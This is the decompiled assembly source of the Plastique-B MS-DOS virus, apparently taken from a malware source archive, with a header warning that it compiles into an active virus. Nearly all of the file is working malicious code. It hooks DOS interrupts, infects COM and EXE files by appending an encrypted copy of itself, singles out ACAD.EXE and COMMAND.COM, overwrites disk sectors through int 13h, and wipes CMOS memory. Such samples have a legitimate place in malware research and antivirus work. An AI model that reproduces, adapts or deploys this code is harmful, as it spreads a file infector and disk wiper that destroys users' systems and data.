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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.plastiq.asm

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2021-01-12 23:55:26 +00:00
PAGE 59,132
;==========================================================================
; Plastique-B virus Decrypted source code
; Brought to you by Minuite man
;
; DANGER! Not for public distribution
; This source code can be compiled to
; Active virus.Always handle viruses
; Carefully.
;==========================================================================
data_1e equ 3FCh ; (0000:03FC=0F000h)
data_2e equ 3FEh ; (0000:03FE=16h)
data_3e equ 3 ; (3E00:0003=0FFFFh)
data_4e equ 5 ; (3E00:0005=0FFh)
data_5e equ 18h ; (3E00:0018=0FFFFh)
data_6e equ 1Ah ; (3E00:001A=0FFFFh)
data_7e equ 1Ch ; (3E00:001C=0FFFFh)
data_8e equ 1Eh ; (3E00:001E=0FFFFh)
data_9e equ 20h ; (3E00:0020=0FFFFh)
data_10e equ 22h ; (3E00:0022=0FFFFh)
data_11e equ 48h ; (3E00:0048=0FFFFh)
data_12e equ 4Ah ; (3E00:004A=0FFFFh)
data_13e equ 4Eh ; (3E00:004E=0FFFFh)
data_14e equ 54h ; (3E00:0054=0FFFFh)
data_15e equ 56h ; (3E00:0056=0FFFFh)
data_16e equ 58h ; (3E00:0058=0FFFFh)
data_17e equ 5Ah ; (3E00:005A=0FFFFh)
data_18e equ 5Ch ; (3E00:005C=0FFFFh)
data_19e equ 6Ah ; (3E00:006A=0FFh)
data_20e equ 86h ; (3E00:0086=0FFFFh)
data_21e equ 88h ; (3E00:0088=0FFFFh)
data_22e equ 2A6h ; (3E00:02A6=0FFh)
data_23e equ 3 ; (6C23:0003=0)
data_24e equ 5 ; (6C23:0005=0)
data_25e equ 6 ; (6C23:0006=0)
data_27e equ 0Ah ; (6C23:000A=0)
data_29e equ 14h ; (6C23:0014=0)
data_30e equ 16h ; (6C23:0016=0)
data_31e equ 24h ; (6C23:0024=0)
data_32e equ 26h ; (6C23:0026=0)
data_33e equ 28h ; (6C23:0028=0)
data_34e equ 2Ah ; (6C23:002A=0)
data_35e equ 2Ch ; (6C23:002C=0)
data_36e equ 2Eh ; (6C23:002E=0)
data_37e equ 30h ; (6C23:0030=0)
data_38e equ 32h ; (6C23:0032=0)
data_39e equ 34h ; (6C23:0034=0)
data_41e equ 38h ; (6C23:0038=0)
data_42e equ 3Ch ; (6C23:003C=0)
data_43e equ 3Eh ; (6C23:003E=0)
data_44e equ 42h ; (6C23:0042=0)
data_45e equ 44h ; (6C23:0044=0)
data_46e equ 45h ; (6C23:0045=0)
data_47e equ 62h ; (6C23:0062=0)
data_48e equ 64h ; (6C23:0064=0)
data_49e equ 66h ; (6C23:0066=0)
data_50e equ 68h ; (6C23:0068=0)
data_51e equ 69h ; (6C23:0069=0)
data_52e equ 6Ah ; (6C23:006A=0)
data_68e equ 160Ah ; (6C23:160A=0)
data_69e equ 690Ah ; (6C23:690A=0)
data_70e equ 0FA0Ah ; (6C23:FA0A=0)
seg_a segment
assume cs:seg_a, ds:seg_a
org 100h
test proc far
start:
jmp loc_61 ; (09D3)
db 0CCh, 1, 0C7h, 24h, 1, 9
db 0Dh, 92h, 25h, 70h, 0, 0
db 0, 0, 0, 89h, 19h, 0
db 1, 53h, 13h, 0, 0, 7Eh
db 82h, 0, 0, 7Eh, 82h
db 50h
data_53 db 2
data_54 dw 0
data_55 dw 4269h ; Data table (indexed access)
db 1Fh, 8Bh, 5, 0, 20h, 0
db 21h, 0, 80h, 0, 0E6h, 77h
db 18h, 0, 0AAh, 0, 9, 0Dh
db 60h, 14h, 1Eh, 2, 56h, 5
db 6, 6Fh, 73h, 12h, 0, 0F0h
db 16h, 0, 4Dh, 5Ah, 14h, 0
db 8, 0, 0, 0, 20h, 0
db 0, 0, 0FFh, 0FFh, 5, 0
db 0C4h, 0Bh, 89h, 19h, 0, 9
db 5, 0, 1Eh, 0, 90h, 90h
db 1, 0, 70h, 45h, 75h, 42h
db 0, 0, 0
db 'ACAD.EXECOMMAND.COM.COM.EXE'
db 10h, 0, 0, 2, 0, 0
db 80h, 0, 0B4h, 0D5h, 5Ch, 0
db 0B4h, 0D5h, 6Ch, 0, 0B4h, 0D5h
db 'Program: Plastique'
loc_2:
and [si],dh
db '.51 (plastic bomb), '
copyright db 'Copyright (C) 1988, 1989 by ABT '
db 'Group.Thanks to: M'
db 'r. Lin (IECS 762??), Mr. Cheng ('
db 'FCU Inf-Center)'
db 1, 0, 0
data_58 db 0E3h ; Data table (indexed access)
db 8, 0, 0, 0EBh, 7, 91h
db 0Ah, 91h, 0Ah, 0BEh, 11h, 0
db 0, 0D0h, 0Fh, 21h, 15h, 21h
db 15h, 0DCh, 0Bh, 0, 0, 91h
db 0Ah, 16h, 0Eh, 16h, 0Eh, 0B7h
db 17h, 0, 0, 21h, 15h, 2Ch
db 1Ch, 2Ch, 1Ch, 91h, 0Ah, 16h
db 0Eh, 33h, 0Bh, 33h, 0Bh, 91h
db 0Ah, 0FAh, 9, 0FAh, 9, 91h
db 0Ah, 33h, 0Bh, 33h, 0Bh, 91h
db 0Ah, 16h, 0Eh, 16h, 0Eh, 0
db 0, 16h, 0Eh, 0D0h, 0Fh, 0BEh
db 11h, 0, 0, 0E3h, 8, 0
db 0, 0EBh, 7, 91h, 0Ah, 91h
db 0Ah, 0BEh, 11h, 0, 0, 0D0h
db 0Fh, 21h, 15h, 21h, 15h, 0DCh
db 0Bh, 0, 0, 91h, 0Ah, 16h
db 0Eh, 16h, 0Eh, 0B7h, 17h, 0
db 0, 21h, 15h, 2Ch, 1Ch, 2Ch
db 1Ch, 91h, 0Ah, 16h, 0Eh, 33h
db 0Bh, 33h, 0Bh, 91h, 0Ah, 0FAh
db 9
data_59 dw 9FAh
data_60 db 91h
data_61 db 0Ah
data_62 dw 0B33h
data_63 db 33h
test endp
;==========================================================================
;
; External Entry Point
;
;==========================================================================
int_24h_entry proc far
or dx,ds:data_68e[bx+di] ; (6C23:160A=0)
push cs
push ss
push cs
add [bx+si],al
push ss
push cs
ror byte ptr [bx],1 ; Rotate
mov si,11h
add ds:data_69e[bx+di],dl ; (6C23:690A=0)
or bx,sp
or bl,ch
pop es
jmp short $+9
db 91h, 0Ah, 0, 0, 0FAh, 9
db 0FAh, 9, 64h, 8, 64h, 8
int_24h_entry endp
;==========================================================================
;
; External Entry Point
;
;==========================================================================
int_08h_entry proc far
push cs
pop es
add [bx+si],al
xchg ax,cx
or dl,ds:data_70e[bx+di] ; (6C23:FA0A=0)
or dx,di
or [bp+si+0Dh],dx
add [bx+si],al
xor cx,[bp+di]
add [bx+si],al
push ss
push cs
add [bx+si],al
;* jmp short loc_4 ;*(02F3)
db 0EBh, 7
db 0EBh, 7, 91h, 0Ah, 0, 0
db 33h
loc_4:
or si,[bp+di]
or bp,[bx+di+9]
db 69h, 9, 0EBh, 7, 0EBh, 7
db 0, 0, 0E3h, 8, 0, 0
db 0EBh, 7, 91h, 0Ah, 91h, 0Ah
db 0BEh, 11h, 0, 0, 0D0h, 0Fh
db 21h, 15h, 21h, 15h, 0DCh, 0Bh
db 0, 0, 0F2h, 0Eh, 0D0h, 0Fh
db 0, 0, 0BEh, 11h, 21h, 15h
db 0, 0, 3, 2, 3, 3
db 0Dh, 3, 2, 3, 3, 0Dh
db 3, 2, 3, 3, 0Dh, 3
db 2, 3, 3, 0Dh, 7, 3
db 3, 7, 3, 3, 7, 3
db 3, 7, 3, 14h, 2, 1
db 1, 1, 3, 8, 3, 2
db 3, 3, 0Dh, 3, 2, 3
db 3, 0Dh, 3, 2, 3, 3
db 0Dh, 3, 2, 3, 3
int_08h_entry endp
;==========================================================================
;
; External Entry Point
;
;==========================================================================
int_09h_entry proc far
or ax,307h
add ax,[bx]
add ax,[bp+di]
pop es
add ax,[bp+di]
pop es
add dx,[si]
add al,[bx+di]
add [bx+di],ax
add ax,[bp+di]
add [bx+di],ax
add [di],cx
pop es
push es
add [di],cx
or ax,70Dh
push es
add [di],cx
or ax,70Dh
push es
add [si],cx
add cl,[si]
add cl,[di]
pop es
push es
add [di],cx
or ax,0D0Dh
or ax,0D0Dh
add ax,[bp+di]
add ax,[bp+di]
or ax,303h
add ax,[bp+di]
or ax,106h
add ax,[bp+di]
add ax,[bp+di]
add ax,[bx+di]
db 7 dup (0)
db 32h, 0C0h, 0CFh, 9Ch, 50h, 2Eh
db 0A1h, 64h, 0, 2Eh, 39h, 6
db 3, 0, 58h, 77h, 5, 2Eh
db 0FFh, 6, 3, 0, 51h, 2Eh
db 8Bh, 0Eh, 3, 0
locloop_5:
nop
loop locloop_5 ; Loop if cx > 0
int 3 ; Debug breakpoint
pop cx
popf ; Pop flags
jmp dword ptr cs:data_39e ; (6C23:0034=0)
db 9Ch, 0CCh, 2Eh, 0FFh, 6, 3
db 0, 2Eh, 81h, 3Eh, 3, 0
db 88h, 13h, 77h, 6, 9Dh, 2Eh
db 0FFh, 2Eh, 34h, 0, 1Eh, 50h
db 53h, 0Eh, 1Fh, 8Bh, 1Eh, 22h
db 1, 0FEh, 0Eh, 21h, 1, 75h
db 5Dh, 8Bh, 1Eh, 22h, 1, 0FFh
db 6, 22h, 1, 81h, 0FBh, 80h
db 0, 75h, 3, 0EBh, 36h, 90h
loc_6:
mov al,data_58[bx] ; (6C23:0224=0E3h)
mov data_53,al ; (6C23:0121=2)
shl bx,1 ; Shift w/zeros fill
mov ax,data_55[bx] ; (6C23:0124=4269h)
cmp ax,0
je loc_7 ; Jump if equal
jmp short loc_8 ; (0426)
db 90h
loc_7:
in al,61h ; port 61h, 8255 port B, read
and al,0FEh
out 61h,al ; port 61h, 8255 B - spkr, etc
jmp short loc_10 ; (0454)
db 90h
loc_8:
mov bx,ax
mov al,0B6h
out 43h,al ; port 43h, 8253 wrt timr mode
mov ax,bx
out 42h,al ; port 42h, 8253 timer 2 spkr
mov al,ah
out 42h,al ; port 42h, 8253 timer 2 spkr
in al,61h ; port 61h, 8255 port B, read
or al,3
out 61h,al ; port 61h, 8255 B - spkr, etc
jmp short loc_10 ; (0454)
db 90h
loc_9:
in al,61h ; port 61h, 8255 port B, read
and al,0FEh
out 61h,al ; port 61h, 8255 B - spkr, etc
mov data_54,0 ; (6C23:0122=0)
mov data_53,1 ; (6C23:0121=2)
mov word ptr ds:data_23e,1 ; (6C23:0003=0)
loc_10:
pop bx
pop ax
pop ds
popf ; Pop flags
jmp dword ptr cs:data_39e ; (6C23:0034=0)
db 0FAh, 50h, 1Eh, 33h, 0C0h, 8Eh
db 0D8h, 0A0h, 17h, 4, 1Fh, 24h
db 0Ch, 3Ch, 0Ch, 75h, 2Eh, 0E4h
db '`$'
db 7Fh, '<Su&.'
db 81h, 3Eh, 3, 0, 88h, 13h
db 72h, 1Dh, 2Eh, 80h, 3Eh, 69h
db 0, 1, 74h, 3, 0E9h, 93h
db 0, 0E4h, 61h, 0Ch, 80h, 0E6h
db 61h, 24h, 7Fh, 0E6h, 61h, 58h
db 0B0h, 20h, 0E6h, 20h, 0EBh, 1Fh
db 90h, 58h, 9Ch, 2Eh, 0FFh, 1Eh
db 6, 0, 0FAh, 2Eh, 0FFh, 6
db 0Eh, 0, 2Eh, 81h, 3Eh, 0Eh
db 0, 0A0h, 0Fh, 72h, 6, 2Eh
db 0C6h, 6, 6Ah, 0, 1
loc_11:
sti ; Enable interrupts
iret ; Interrupt return
int_09h_entry endp
loc_12:
mov al,2
out 21h,al ; port 21h, 8259-1 int comands
sti ; Enable interrupts
in al,61h ; port 61h, 8255 port B, read
and al,0FEh
out 61h,al ; port 61h, 8255 B - spkr, etc
mov cs:data_54,0 ; (6C23:0122=0)
mov cs:data_53,1 ; (6C23:0121=2)
mov word ptr cs:data_23e,1 ; (6C23:0003=0)
mov ax,4
int 10h ; Video display ah=functn 00h
; set display mode in al
mov ax,402h
push ax
loc_13:
mov byte ptr ds:data_52e,0 ; (6C23:006A=0)
push cs
pop ax
mov ds,ax
mov es,ax
mov dl,0
;==========================================================================
;
; External Entry Point
;
;==========================================================================
int_13h_entry proc far
call sub_1 ; (052D)
jc loc_14 ; Jump if carry Set
call sub_2 ; (059E)
loc_14:
mov dl,1
call sub_1 ; (052D)
jc loc_ret_15 ; Jump if carry Set
call sub_2 ; (059E)
loc_ret_15:
retn
int_13h_entry endp
db 0B2h, 80h, 2Eh, 0C7h, 6, 3
db 0, 0D4h, 12h, 0E8h, 63h, 0
db 72h, 3, 0E8h
data_65 dw 0A7h ; Data table (indexed access)
db 0B2h, 81h, 0E8h, 59h, 0, 72h
db 3, 0E8h, 9Dh, 0, 0B9h, 40h
db 0
locloop_16:
mov al,cl
out 70h,al ; port 70h, RTC addr/enabl NMI
; al = 0, seconds register
mov al,0FFh
out 71h,al ; port 71h, RTC clock/RAM data
loop locloop_16 ; Loop if cx > 0
loc_17:
nop
jmp short loc_17 ; (052A)
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_1 proc near
mov data_61,dl ; (6C23:02A7=0Ah)
mov ax,201h
mov cx,1
mov dh,0
mov bx,511h
int 13h ; Disk dl=drive #: ah=func a2h
; read sectors to memory es:bx
jc loc_ret_18 ; Jump if carry Set
mov si,18h
mov cx,data_65[si] ; (6C23:0511=0A7h)
mov data_60,cl ; (6C23:02A6=91h)
mov si,13h
mov ax,data_65[si] ; (6C23:0511=0A7h)
xor dx,dx ; Zero register
div cx ; ax,dx rem=dx:ax/reg
mov si,1Ah
mov cx,data_65[si] ; (6C23:0511=0A7h)
xor dx,dx ; Zero register
div cx ; ax,dx rem=dx:ax/reg
mov data_59,ax ; (6C23:02A4=9FAh)
mov dl,data_61 ; (6C23:02A7=0Ah)
mov dh,0
mov cx,1
cmp cx,0
loc_ret_18:
retn
sub_1 endp
db 0B4h, 8, 88h, 16h, 0A7h, 2
db 0CDh, 13h, 72h, 22h, 88h, 36h
db 0AAh, 2, 8Ah, 0C5h, 8Ah, 0E1h
db 80h, 0E1h, 3Fh, 88h, 0Eh, 0A6h
db 2, 0B1h, 6, 0D2h, 0ECh, 0A3h
db 0A4h, 2, 8Ah, 16h, 0A7h, 2
db 0B6h, 0, 0B9h, 1, 0, 83h
db 0F9h, 0
loc_ret_19:
retn
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_2 proc near
mov bx,98h
loc_20:
mov al,data_60 ; (6C23:02A6=91h)
mov ah,3
int 13h ; Disk dl=drive #: ah=func a3h
; write sectors from mem es:bx
jnc loc_21 ; Jump if carry=0
and ah,0C3h
jnz loc_ret_22 ; Jump if not zero
loc_21:
inc ch
cmp ch,byte ptr data_59 ; (6C23:02A4=0FAh)
je loc_ret_22 ; Jump if equal
jmp short loc_20 ; (05A1)
loc_ret_22:
retn
sub_2 endp
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_3 proc near
mov bx,98h
mov data_62,0 ; (6C23:02A8=0B33h)
loc_23:
mov al,data_60 ; (6C23:02A6=91h)
mov ah,3
int 13h ; Disk dl=drive #: ah=func a3h
; write sectors from mem es:bx
inc dh
cmp dh,data_63 ; (6C23:02AA=33h)
ja loc_24 ; Jump if above
jmp short loc_23 ; (05C3)
loc_24:
inc data_62 ; (6C23:02A8=0B33h)
mov dh,0
mov ax,data_62 ; (6C23:02A8=0B33h)
cmp ax,data_59 ; (6C23:02A4=9FAh)
ja loc_ret_25 ; Jump if above
or al,1
add ch,al
jnc loc_23 ; Jump if carry=0
add cl,40h ; '@'
jmp short loc_23 ; (05C3)
loc_ret_25:
retn
sub_3 endp
db 52h, 80h, 0FCh, 3, 75h, 12h
db 2Eh, 0C7h, 6, 0Eh, 0, 0
db 0, 2Eh, 80h, 3Eh, 6Ah, 0
db 1, 75h, 3, 0BAh, 0FFh, 0FFh
db 9Ch, 2Eh, 0FFh, 1Eh, 0Ah, 0
db 5Ah, 0CAh, 2, 0, 9Ch, 3Dh
db 40h, 4Bh, 75h, 5, 0B8h, 78h
db 56h, 9Dh, 0CFh, 3Dh, 41h, 4Bh
db 74h, 1Eh, 3Dh, 0, 4Bh, 75h
db 3, 0EBh, 34h, 90h
loc_26:
cmp ax,3D00h
jne loc_27 ; Jump if not equal
cmp byte ptr cs:data_50e,1 ; (6C23:0068=0)
je loc_27 ; Jump if equal
jmp short loc_29 ; (065C)
db 90h
loc_27:
popf ; Pop flags
jmp dword ptr cs:data_41e ; (6C23:0038=0)
loc_28:
pop ax
pop ax
mov ax,100h
mov cs:data_29e,ax ; (6C23:0014=0)
pop ax
mov cs:data_30e,ax ; (6C23:0016=0)
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
popf ; Pop flags
call sub_5 ; (09C8)
mov cx,ds:data_38e ; (6C23:0032=0)
jmp dword ptr cs:data_29e ; (6C23:0014=0)
loc_29:
mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0)
mov word ptr cs:data_47e,0 ; (6C23:0062=0)
mov cs:data_31e,dx ; (6C23:0024=0)
mov cs:data_32e,ds ; (6C23:0026=0)
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cld ; Clear direction
mov si,dx
loc_30:
mov al,[si]
or al,al ; Zero ?
jz loc_32 ; Jump if zero
cmp al,61h ; 'a'
jb loc_31 ; Jump if below
cmp al,7Ah ; 'z'
ja loc_31 ; Jump if above
sub byte ptr [si],20h ; ' '
loc_31:
inc si
jmp short loc_30 ; (067F)
loc_32:
mov cs:data_49e,si ; (6C23:0066=0)
mov ax,si
push cs
pop es
mov cx,0Bh
sub si,cx
mov di,73h
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jnz loc_33 ; Jump if not zero
jmp loc_59 ; (0997)
loc_33:
mov si,ax
mov cx,8
sub si,cx
mov di,6Bh
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jnz loc_34 ; Jump if not zero
mov ax,41Dh
push ax
jmp loc_13 ; (04E2)
loc_34:
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
jc loc_35 ; Jump if carry Set
mov cs:data_34e,cx ; (6C23:002A=0)
loc_35:
jc loc_41 ; Jump if carry Set
xor al,al ; Zero register
mov cs:data_46e,al ; (6C23:0045=0)
mov si,cs:data_49e ; (6C23:0066=0)
mov cx,4
sub si,cx
mov di,7Eh
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jz loc_36 ; Jump if zero
inc byte ptr cs:data_46e ; (6C23:0045=0)
mov si,cs:data_49e ; (6C23:0066=0)
mov cx,4
sub si,cx
mov di,82h
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
jz loc_36 ; Jump if zero
add cx,0FFFFh
jmp short loc_41 ; (073F)
db 90h
loc_36:
mov di,dx
xor dl,dl ; Zero register
cmp byte ptr [di+1],3Ah ; ':'
jne loc_37 ; Jump if not equal
mov dl,[di]
and dl,1Fh
loc_37:
mov ah,36h ; '6'
int 21h ; DOS Services ah=function 36h
; get free space, drive dl,1=a:
cmp ax,0FFFFh
jne loc_39 ; Jump if not equal
loc_38:
jmp loc_59 ; (0997)
loc_39:
mul bx ; dx:ax = reg * ax
mul cx ; dx:ax = reg * ax
or dx,dx ; Zero ?
jnz loc_40 ; Jump if not zero
cmp ax,0BC4h
jb loc_38 ; Jump if below
loc_40:
mov dx,cs:data_31e ; (6C23:0024=0)
mov ax,3D00h
mov byte ptr cs:data_50e,1 ; (6C23:0068=0)
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov byte ptr cs:data_50e,0 ; (6C23:0068=0)
loc_41:
jc loc_43 ; Jump if carry Set
mov cs:data_33e,ax ; (6C23:0028=0)
mov bx,ax
mov ax,4202h
mov cx,0FFFFh
mov dx,0FFFBh
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_43 ; Jump if carry Set
add ax,5
mov cs:data_38e,ax ; (6C23:0032=0)
mov ax,4200h
mov cx,0
mov dx,12h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
jc loc_43 ; Jump if carry Set
mov cx,2
mov dx,60h
mov di,dx
mov ax,cs
mov ds,ax
mov es,ax
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
mov ax,[di]
cmp ax,1989h
jne loc_42 ; Jump if not equal
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
jmp loc_59 ; (0997)
loc_42:
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_42e,bx ; (6C23:003C=0)
mov ds:data_43e,es ; (6C23:003E=0)
mov dx,2ABh
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
lds dx,dword ptr ds:data_31e ; (6C23:0024=0) Load 32 bit ptr
xor cx,cx ; Zero register
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
loc_43:
jc loc_44 ; Jump if carry Set
mov bx,cs:data_33e ; (6C23:0028=0)
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
mov word ptr cs:data_33e,0FFFFh ; (6C23:0028=0)
mov ax,3D02h
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
jc loc_44 ; Jump if carry Set
mov cs:data_33e,ax ; (6C23:0028=0)
mov ax,cs
mov ds,ax
mov es,ax
mov bx,ds:data_33e ; (6C23:0028=0)
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ds:data_35e,dx ; (6C23:002C=0)
mov ds:data_36e,cx ; (6C23:002E=0)
mov ax,4200h
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_44:
jc loc_47 ; Jump if carry Set
cmp byte ptr ds:data_46e,0 ; (6C23:0045=0)
je loc_45 ; Jump if equal
jmp short loc_49 ; (0867)
db 90h
loc_45:
mov bx,1000h
mov ah,48h ; 'H'
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
jnc loc_46 ; Jump if carry=0
mov ah,3Eh ; '>'
mov bx,ds:data_33e ; (6C23:0028=0)
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
jmp loc_59 ; (0997)
loc_46:
inc word ptr ds:data_47e ; (6C23:0062=0)
mov es,ax
xor si,si ; Zero register
mov di,si
inc word ptr ds:data_23e ; (6C23:0003=0)
mov ax,ds:data_23e ; (6C23:0003=0)
or al,1
mov ds:data_24e,al ; (6C23:0005=0)
call sub_4 ; (09A5)
mov cx,0BC4h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
call sub_4 ; (09A5)
mov dx,di
mov cx,ds:data_38e ; (6C23:0032=0)
mov bx,ds:data_33e ; (6C23:0028=0)
push es
pop ds
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
loc_47:
jc loc_48 ; Jump if carry Set
add di,cx
jc loc_48 ; Jump if carry Set
xor cx,cx ; Zero register
mov dx,cx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
mov cx,di
xor dx,dx ; Zero register
mov ah,ds:data_19e ; (3E00:006A=0FFh)
mov ds:data_22e,ah ; (3E00:02A6=0FFh)
mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh)
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ah,ds:data_22e ; (3E00:02A6=0FFh)
mov ds:data_19e,ah ; (3E00:006A=0FFh)
loc_48:
jc loc_50 ; Jump if carry Set
jmp loc_57 ; (0952)
loc_49:
mov cx,1Ch
mov dx,46h
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, cx=bytes, to ds:dx
loc_50:
jc loc_52 ; Jump if carry Set
cmp word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh)
je loc_52 ; Jump if equal
mov word ptr ds:data_16e,1989h ; (3E00:0058=0FFFFh)
mov ax,ds:data_14e ; (3E00:0054=0FFFFh)
mov ds:data_6e,ax ; (3E00:001A=0FFFFh)
mov ax,ds:data_15e ; (3E00:0056=0FFFFh)
mov ds:data_5e,ax ; (3E00:0018=0FFFFh)
mov ax,ds:data_17e ; (3E00:005A=0FFFFh)
mov ds:data_7e,ax ; (3E00:001C=0FFFFh)
mov ax,ds:data_18e ; (3E00:005C=0FFFFh)
mov ds:data_8e,ax ; (3E00:001E=0FFFFh)
mov ax,ds:data_12e ; (3E00:004A=0FFFFh)
cmp word ptr ds:data_11e,0 ; (3E00:0048=0FFFFh)
je loc_51 ; Jump if equal
dec ax
loc_51:
mul word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax = data * ax
add ax,ds:data_11e ; (3E00:0048=0FFFFh)
adc dx,0
add ax,0Fh
adc dx,0
and ax,0FFF0h
mov ds:data_9e,ax ; (3E00:0020=0FFFFh)
mov ds:data_10e,dx ; (3E00:0022=0FFFFh)
add ax,0BC4h
adc dx,0
loc_52:
jc loc_54 ; Jump if carry Set
div word ptr ds:data_21e ; (3E00:0088=0FFFFh) ax,dxrem=dx:ax/da
or dx,dx ; Zero ?
jz loc_53 ; Jump if zero
inc ax
loc_53:
mov ds:data_12e,ax ; (3E00:004A=0FFFFh)
mov ds:data_11e,dx ; (3E00:0048=0FFFFh)
mov ax,ds:data_9e ; (3E00:0020=0FFFFh)
mov dx,ds:data_10e ; (3E00:0022=0FFFFh)
div word ptr ds:data_20e ; (3E00:0086=0FFFFh) ax,dxrem=dx:ax/da
sub ax,ds:data_13e ; (3E00:004E=0FFFFh)
mov ds:data_18e,ax ; (3E00:005C=0FFFFh)
mov word ptr ds:data_17e,900h ; (3E00:005A=0FFFFh)
mov ds:data_14e,ax ; (3E00:0054=0FFFFh)
mov word ptr ds:data_15e,0BC4h ; (3E00:0056=0FFFFh)
xor cx,cx ; Zero register
mov dx,cx
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_54:
jc loc_55 ; Jump if carry Set
mov cx,1Ch
mov dx,46h
mov ah,ds:data_19e ; (3E00:006A=0FFh)
mov ds:data_22e,ah ; (3E00:02A6=0FFh)
mov byte ptr ds:data_19e,0 ; (3E00:006A=0FFh)
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
mov ah,ds:data_22e ; (3E00:02A6=0FFh)
mov ds:data_19e,ah ; (3E00:006A=0FFh)
loc_55:
jc loc_56 ; Jump if carry Set
cmp ax,cx
jne loc_57 ; Jump if not equal
mov dx,ds:data_9e ; (3E00:0020=0FFFFh)
mov cx,ds:data_10e ; (3E00:0022=0FFFFh)
mov ax,4200h
int 21h ; DOS Services ah=function 42h
; move file ptr, cx,dx=offset
loc_56:
jc loc_57 ; Jump if carry Set
inc word ptr ds:data_3e ; (3E00:0003=0FFFFh)
mov ax,ds:data_3e ; (3E00:0003=0FFFFh)
or al,1
mov ds:data_4e,al ; (3E00:0005=0FFh)
call sub_4 ; (09A5)
xor dx,dx ; Zero register
mov cx,0BC4h
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file cx=bytes, to ds:dx
call sub_4 ; (09A5)
loc_57:
cmp word ptr cs:data_47e,0 ; (6C23:0062=0)
je loc_58 ; Jump if equal
mov ah,49h ; 'I'
int 21h ; DOS Services ah=function 49h
; release memory block, es=seg
loc_58:
cmp word ptr cs:data_33e,0FFFFh ; (6C23:0028=0)
je loc_59 ; Jump if equal
mov bx,cs:data_33e ; (6C23:0028=0)
mov dx,cs:data_35e ; (6C23:002C=0)
mov cx,cs:data_36e ; (6C23:002E=0)
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; get/set file date & time
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
lds dx,dword ptr cs:data_31e ; (6C23:0024=0) Load 32 bit ptr
mov cx,cs:data_34e ; (6C23:002A=0)
mov ax,4301h
int 21h ; DOS Services ah=function 43h
; get/set file attrb, nam@ds:dx
lds dx,dword ptr cs:data_42e ; (6C23:003C=0) Load 32 bit ptr
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
loc_59:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
popf ; Pop flags
jmp dword ptr cs:data_41e ; (6C23:0038=0)
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_4 proc near
push ds
push es
push di
push si
push cx
push ax
push cs
pop es
push cs
pop ds
mov si,6Bh
mov di,si
mov cx,0B6h
mov ah,ds:data_24e ; (6C23:0005=0)
locloop_60:
lodsb ; String [si] to al
xor al,ah
stosb ; Store al to es:[di]
loop locloop_60 ; Loop if cx > 0
pop ax
pop cx
pop si
pop di
pop es
pop ds
retn
sub_4 endp
;==========================================================================
; SUBROUTINE
;==========================================================================
sub_5 proc near
xor ax,ax ; Zero register
mov bx,ax
mov dx,ax
mov si,ax
mov di,ax
retn
sub_5 endp
loc_61:
cld ; Clear direction
mov ax,4B40h
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
cmp ax,5678h
jne loc_62 ; Jump if not equal
mov ax,4B41h
mov di,100h
mov si,0BC4h
add si,di
mov cx,cs:[di+32h]
nop ;*Fixup for MASM (M)
int 21h ; DOS Services ah=function 4Bh
; run progm @ds:dx, parm @es:bx
loc_62:
mov ax,cs
add ax,10h
mov ss,ax
mov sp,0BB4h
push ax
mov ax,900h
push ax
retf ; Return far
db 0FCh, 6, 2Eh, 8Ch, 6, 40h
db 0, 2Eh, 8Ch, 6, 8Eh, 0
db 2Eh, 8Ch, 6, 92h, 0, 2Eh
db 8Ch, 6, 96h, 0, 8Ch, 0C0h
db 5, 10h, 0, 2Eh, 1, 6
db 1Eh, 0, 2Eh, 1, 6, 1Ah
